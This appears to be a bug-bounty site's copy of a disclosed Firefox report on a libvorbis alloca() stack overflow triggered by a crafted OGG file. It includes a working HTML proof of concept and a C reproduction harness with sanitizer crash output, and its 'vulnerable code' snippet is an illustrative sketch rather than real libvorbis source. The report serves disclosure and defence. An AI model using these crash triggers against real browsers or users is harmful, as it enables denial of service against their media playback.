Skip to content
DoS Disclosed report Intermediate

Very large stack overflow in libvorbis

A crafted OGG/Vorbis file can cause an unchecked alloca() call in vorbis_book_init_decode() to allocate about 96 MB on the stack, far beyond typical stack limits. An attacker could crash the browser's media decoder, and the report claims this may lead to arbitrary code execution.

zx Follow

Originally disclosed on Mozilla

  • Fixed in 21 days
  • Paid in 28 days
  • Disclosed after 21 days

Created attachment 9557973 vorbis_crash_e2e.ogg

The vulnerability is triggered during the parsing of maliciously crafted OGG/Vorbis files and can lead to arbitrary code execution. The issue stems from an unchecked alloca() call in vorbis_book_init_decode() that attempts to allocate approximately 96 MB on the stack, far exceeding typical stack limits.

Root Cause

The vulnerability exists in media/libvorbis/lib/vorbis_sharedbook.c within the vorbis_book_init_decode() function:

C
/* Vulnerable code pattern */
int vorbis_book_init_decode(codebook *book, vorbis_book_init_decode *s) {
    /* Unchecked values from crafted Vorbis setup header */
    long entries = /* attacker-controlled value */;

    /* alloca() allocates on stack - NO size validation */
    float *values = alloca(entries * sizeof(float));  /* ~96 MB allocation */

    /* Stack overflow occurs here */
    memset(values, 0, entries * sizeof(float));
}

Key Issues:

  1. No bounds checking on attacker-controlled values from Vorbis setup header
  2. Use of alloca() for large, variable-sized allocations
  3. Allocation size calculated from untrusted input without validation
  4. Typical stack limit (8 MB) far exceeded by allocation (~96 MB)

Using this testcase crash firefox with vorbis_crash_e2e.ogg

  Crash: EXC_BAD_ACCESS / SIGSEGV (KERN_PROTECTION_FAILURE) at 0x16c042490
  ┌─────┬─────────────────────────────────────┬───────────────────┐
  │  #  │              Function               │      Library      │
  ├─────┼─────────────────────────────────────┼───────────────────┤
  │ 0   │ vorbis_book_clear                   │ libgkcodecs.dylib │
  ├─────┼─────────────────────────────────────┼───────────────────┤
  │ 1   │ vorbis_book_init_decode + 260       │ libgkcodecs.dylib │
  ├─────┼─────────────────────────────────────┼───────────────────┤
  │ 2   │ _vds_shared_init + 828              │ libgkcodecs.dylib │
  ├─────┼─────────────────────────────────────┼───────────────────┤
  │ 3   │ vorbis_synthesis_init + 24          │ libgkcodecs.dylib │
  ├─────┼─────────────────────────────────────┼───────────────────┤
  │ 4   │ mozilla::VorbisState::Init()        │ XUL               │
  ├─────┼─────────────────────────────────────┼───────────────────┤
  │ 5   │ mozilla::OggDemuxer::ReadHeaders()  │ XUL               │
  ├─────┼─────────────────────────────────────┼───────────────────┤
  │ 6   │ mozilla::OggDemuxer::ReadMetadata() │ XUL               │
  ├─────┼─────────────────────────────────────┼───────────────────┤
  │ 7   │ mozilla::OggDemuxer::Init()         │ XUL               │
  └─────┴─────────────────────────────────────┴───────────────────┘

  - Thread 35 (MediaSupervisor #1) — triggered by decodeAudioData() via MediaDecodeTask
  - Thread 42 (MediaPDecoder #1) — triggered by <audio preload> via MediaFormatReader::DemuxerProxy::Init()

  • test.html
HTML
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Vorbis alloca Stack Overflow - PoC</title>
<style>
  body { font-family: monospace; background: #1a1a2e; color: #e0e0e0; padding: 20px; }
  h1 { color: #ff6b6b; }
  .status { padding: 8px 12px; margin: 6px 0; border-left: 3px solid #444; }
  .pass  { border-color: #51cf66; color: #51cf66; }
  .fail  { border-color: #ff6b6b; color: #ff6b6b; }
  .wait  { border-color: #ffd43b; color: #ffd43b; }
  .info  { border-color: #74c0fc; color: #74c0fc; }
  #log { white-space: pre-wrap; }
  pre { background: #16213e; padding: 12px; overflow-x: auto; }
</style>
</head>
<body>

<h1>CVE PoC: libvorbis alloca() stack overflow</h1>

<pre>
Call chain:
  &lt;audio src="vorbis_crash_e2e.ogg"&gt;
    -> HTMLMediaElement -> MediaFormatReader
      -> OggDemuxer::ReadMetadata()
        -> VorbisState::DecodeHeader() x3
        -> VorbisState::Init()
          -> vorbis_synthesis_init()
            -> _vds_shared_init()
              -> vorbis_book_init_decode()
                -> alloca(~96 MB)  [SIGSEGV]
</pre>

<h2>Test 1: &lt;audio&gt; element (autoplay)</h2>
<div id="log"></div>

<!-- The crafted OGG triggers the crash during header parsing,
     before any audio samples are decoded. autoplay is not
     required — the browser parses headers on metadata load. -->
<audio id="poc-audio" preload="auto"></audio>

<h2>Test 2: WebAudio decodeAudioData()</h2>
<div id="log2"></div>

<script>
var log  = document.getElementById('log');
var log2 = document.getElementById('log2');

function msg(target, cls, text) {
  var d = document.createElement('div');
  d.className = 'status ' + cls;
  d.textContent = text;
  target.appendChild(d);
}

// -------------------------------------------------------
// Test 1: <audio> element — preload="auto" triggers
// OggDemuxer::ReadMetadata -> vorbis_synthesis_init
// -------------------------------------------------------
(function test_audio_element() {
  var audio = document.getElementById('poc-audio');
  var crashed = false;
  var loaded  = false;

  msg(log, 'wait', '[*] Setting src to vorbis_crash_e2e.ogg ...');

  audio.addEventListener('loadedmetadata', function() {
    loaded = true;
    msg(log, 'fail',
      '[!] loadedmetadata fired — headers parsed without crash. ' +
      'Browser may have patched the alloca issue or rejected the codebook.');
  });

  audio.addEventListener('error', function() {
    var e = audio.error;
    var code = e ? e.code : '?';
    var emsg = e ? e.message : '';
    msg(log, 'info',
      '[*] error event: code=' + code + ' ' + emsg);

    // A content-process crash typically tears down the tab before
    // this event fires.  If we DO get an error, the browser either
    // rejected the file or survived the alloca.
    if (!loaded) {
      msg(log, 'info',
        '[*] If the tab/process crashed and reloaded, the alloca ' +
        'overflow was triggered successfully.');
    }
  });

  audio.addEventListener('stalled', function() {
    msg(log, 'wait', '[*] stalled — network idle, waiting for decode ...');
  });

  // Set src — this alone triggers header parsing with preload="auto"
  audio.src = 'vorbis_crash_e2e.ogg';
  audio.load();
  msg(log, 'wait', '[*] audio.load() called — browser is parsing OGG headers ...');

  // Timeout check
  setTimeout(function() {
    if (!loaded) {
      msg(log, 'info',
        '[*] 5 s elapsed with no loadedmetadata. ' +
        'If the tab is still alive, the file was likely rejected. ' +
        'If the tab crashed/reloaded, the PoC succeeded.');
    }
  }, 5000);
})();

// -------------------------------------------------------
// Test 2: WebAudio decodeAudioData — same pipeline,
// reaches vorbis_synthesis_init via MediaBufferDecoder
// -------------------------------------------------------
(function test_webaudio() {
  msg(log2, 'wait', '[*] Fetching vorbis_crash_e2e.ogg for decodeAudioData ...');

  fetch('vorbis_crash_e2e.ogg')
    .then(function(r) { return r.arrayBuffer(); })
    .then(function(buf) {
      msg(log2, 'wait',
        '[*] Got ' + buf.byteLength + ' bytes, calling decodeAudioData ...');

      var ctx = new (window.AudioContext || window.webkitAudioContext)();
      ctx.decodeAudioData(buf)
        .then(function(decoded) {
          msg(log2, 'fail',
            '[!] decodeAudioData succeeded (' + decoded.duration +
            's) — no crash. Browser may be patched.');
        })
        .catch(function(err) {
          msg(log2, 'info',
            '[*] decodeAudioData rejected: ' + err);
          msg(log2, 'info',
            '[*] If the tab crashed before this message, the PoC worked.');
        });
    })
    .catch(function(err) {
      msg(log2, 'fail', '[-] fetch failed: ' + err);
    });
})();
</script>

</body>
</html>

or demonstration with C code

C
/*
 * Reproduce Vorbis alloca stack overflow using the actual libvorbis code.
 *
 * This feeds the crafted OGG file through ogg_sync + vorbis_synthesis_headerin,
 * which triggers vorbis_book_init_decode() -> alloca(96 MB) -> SIGSEGV.
 *
 * Build (from firefox root):
 *   gcc -O2 -I media/libogg/include -I media/libvorbis/include \
 *       -o reports/artifacts/test_vorbis_ogg_crash \
 *       reports/artifacts/test_vorbis_ogg_crash.c \
 *       media/libogg/src/ogg_framing.c \
 *       media/libogg/src/ogg_bitwise.c \
 *       media/libvorbis/lib/vorbis_analysis.c \
 *       media/libvorbis/lib/vorbis_bitrate.c \
 *       media/libvorbis/lib/vorbis_block.c \
 *       media/libvorbis/lib/vorbis_codebook.c \
 *       media/libvorbis/lib/vorbis_envelope.c \
 *       media/libvorbis/lib/vorbis_floor0.c \
 *       media/libvorbis/lib/vorbis_floor1.c \
 *       media/libvorbis/lib/vorbis_info.c \
 *       media/libvorbis/lib/vorbis_lookup.c \
 *       media/libvorbis/lib/vorbis_lpc.c \
 *       media/libvorbis/lib/vorbis_lsp.c \
 *       media/libvorbis/lib/vorbis_mapping0.c \
 *       media/libvorbis/lib/vorbis_mdct.c \
 *       media/libvorbis/lib/vorbis_psy.c \
 *       media/libvorbis/lib/vorbis_registry.c \
 *       media/libvorbis/lib/vorbis_res0.c \
 *       media/libvorbis/lib/vorbis_sharedbook.c \
 *       media/libvorbis/lib/vorbis_smallft.c \
 *       media/libvorbis/lib/vorbis_synthesis.c \
 *       media/libvorbis/lib/vorbis_window.c \
 *       -lm
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <ogg/ogg.h>
#include <vorbis/codec.h>

int main(int argc, char **argv) {
    const char *filename = "vorbis_alloca_overflow.ogg";
    if (argc > 1) filename = argv[1];

    /* Show stack limit */
    struct rlimit rl;
    getrlimit(RLIMIT_STACK, &rl);
    printf("[*] Stack limit: %lu bytes (%lu MB)\n",
           (unsigned long)rl.rlim_cur,
           (unsigned long)rl.rlim_cur / (1024*1024));

    /* Read the OGG file */
    FILE *f = fopen(filename, "rb");
    if (!f) {
        fprintf(stderr, "[-] Cannot open %s\n", filename);
        return 1;
    }
    fseek(f, 0, SEEK_END);
    long fsize = ftell(f);
    fseek(f, 0, SEEK_SET);
    printf("[*] Reading %s (%ld bytes)\n", filename, fsize);

    /* Initialize OGG sync */
    ogg_sync_state oy;
    ogg_stream_state os;
    ogg_page og;
    ogg_packet op;
    vorbis_info vi;
    vorbis_comment vc;

    ogg_sync_init(&oy);
    vorbis_info_init(&vi);
    vorbis_comment_init(&vc);

    /* Read entire file into ogg sync buffer */
    char *buffer = ogg_sync_buffer(&oy, fsize);
    size_t bytes = fread(buffer, 1, fsize, f);
    fclose(f);
    ogg_sync_wrote(&oy, bytes);

    printf("[*] Parsing OGG pages and feeding to vorbis_synthesis_headerin...\n");
    printf("[*] If the vulnerability exists, the process will SIGSEGV during\n");
    printf("[*] vorbis_book_init_decode() when it calls alloca(~96 MB).\n\n");

    int headers_done = 0;
    int stream_init = 0;

    while (ogg_sync_pageout(&oy, &og) == 1) {
        if (!stream_init) {
            ogg_stream_init(&os, ogg_page_serialno(&og));
            stream_init = 1;
        }

        ogg_stream_pagein(&os, &og);

        while (ogg_stream_packetout(&os, &op) == 1) {
            printf("[*] Processing header packet %d (size=%ld)...\n",
                   headers_done + 1, op.bytes);
            fflush(stdout);

            int ret = vorbis_synthesis_headerin(&vi, &vc, &op);
            if (ret < 0) {
                fprintf(stderr, "[-] vorbis_synthesis_headerin returned %d\n", ret);
                /* Header 3 (setup) calls init_decode which triggers the crash.
                 * If we get here instead of crashing, the header was rejected. */
                if (headers_done == 2) {
                    printf("[-] Setup header was rejected (no crash).\n");
                    printf("[-] The OGG file may need adjustment.\n");
                }
                goto cleanup;
            }
            headers_done++;
            printf("[+] Header %d parsed successfully.\n", headers_done);

            if (headers_done == 3) {
                printf("[+] All 3 headers parsed successfully.\n");
                printf("[*] Now calling vorbis_synthesis_init() to trigger\n");
                printf("[*] vorbis_book_init_decode() -> alloca() crash...\n");
                fflush(stdout);

                vorbis_dsp_state vd;
                int init_ret = vorbis_synthesis_init(&vd, &vi);
                /* Should not reach here -- alloca crash expected above */
                printf("[!] vorbis_synthesis_init returned %d (no crash!)\n", init_ret);
                if (init_ret == 0) vorbis_dsp_clear(&vd);
                goto cleanup;
            }
        }
    }

    printf("[-] Ran out of OGG pages after %d headers.\n", headers_done);

cleanup:
    if (stream_init) ogg_stream_clear(&os);
    ogg_sync_clear(&oy);
    vorbis_comment_clear(&vc);
    vorbis_info_clear(&vi);
    return 0;
}
[13:44:47] [gecko]~/firefox (main@7b74d86ca4)# ./vortex ../vorbis_crash_e2e.ogg
[*] Stack limit: 8388608 bytes (8 MB)
[*] Reading ../vorbis_crash_e2e.ogg (194 bytes)
[*] Parsing OGG pages and feeding to vorbis_synthesis_headerin...
[*] If the vulnerability exists, the process will SIGSEGV during
[*] vorbis_book_init_decode() when it calls alloca(~96 MB).

[*] Processing header packet 1 (size=30)...
[+] Header 1 parsed successfully.
[*] Processing header packet 2 (size=16)...
[+] Header 2 parsed successfully.
[*] Processing header packet 3 (size=64)...
[+] Header 3 parsed successfully.
[+] All 3 headers parsed successfully.
[*] Now calling vorbis_synthesis_init() to trigger
[*] vorbis_book_init_decode() -> alloca() crash...
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2648971==ERROR: AddressSanitizer: stack-overflow on address 0xffffeeffd110 (pc 0xb5f3950b4184 bp 0xffffef7fcd80 sp 0xffffeeffcd10 T0)
    #0 0xb5f3950b4184 in vorbis_book_init_decode (/home/zx/firefox/vortex+0x34184) (BuildId: 0dccc9ed8502a0c547c7b909f58638eca4c064fc)
    #1 0xb5f39508e214 in _vds_shared_init (/home/zx/firefox/vortex+0xe214) (BuildId: 0dccc9ed8502a0c547c7b909f58638eca4c064fc)
    #2 0xb5f39508fd9c in vorbis_synthesis_init (/home/zx/firefox/vortex+0xfd9c) (BuildId: 0dccc9ed8502a0c547c7b909f58638eca4c064fc)
    #3 0xb5f39508436c in main (/home/zx/firefox/vortex+0x436c) (BuildId: 0dccc9ed8502a0c547c7b909f58638eca4c064fc)
    #4 0xef9356482598  (/lib/aarch64-linux-gnu/libc.so.6+0x22598) (BuildId: 5aebdcbbc24de5f637eab44b9d162c84f1a89338)
    #5 0xef9356482678 in __libc_start_main (/lib/aarch64-linux-gnu/libc.so.6+0x22678) (BuildId: 5aebdcbbc24de5f637eab44b9d162c84f1a89338)
    #6 0xb5f395084a2c in _start (/home/zx/firefox/vortex+0x4a2c) (BuildId: 0dccc9ed8502a0c547c7b909f58638eca4c064fc)

SUMMARY: AddressSanitizer: stack-overflow (/home/zx/firefox/vortex+0x34184) (BuildId: 0dccc9ed8502a0c547c7b909f58638eca4c064fc) in vorbis_book_init_decode
==2648971==ABORTING

The original report as published on Mozilla's Bugzilla, by zx. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The code calls alloca() with a size derived from untrusted values in the Vorbis setup header without any bounds check, so a crafted file can request a stack allocation far larger than the stack limit.

Impact

A malicious audio file could crash the browser's media process, and the report claims it could potentially lead to arbitrary code execution, though only a crash is demonstrated.

What the attacker needed

Victim opens a crafted OGG file; browser uses vulnerable libvorbis

How it was found

  1. Create an OGG/Vorbis file whose setup header makes the codebook entry count very large.
  2. Load the file in a browser via an audio element with preload set, or pass it to decodeAudioData.
  3. The demuxer reads the headers and calls vorbis_synthesis_init, which reaches vorbis_book_init_decode.
  4. The unchecked alloca() tries to reserve about 96 MB on the stack and the process crashes with SIGSEGV.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a browser plays an audio file, it reads a small header that describes how the audio is encoded. This report shows that a maliciously crafted header can make the decoder reserve a huge amount of temporary memory on the stack, a small fixed-size area, which overflows it and crashes the program. The author also suggests this crash might be turned into running attacker code, though that part is not demonstrated.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by zx

View all

5 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.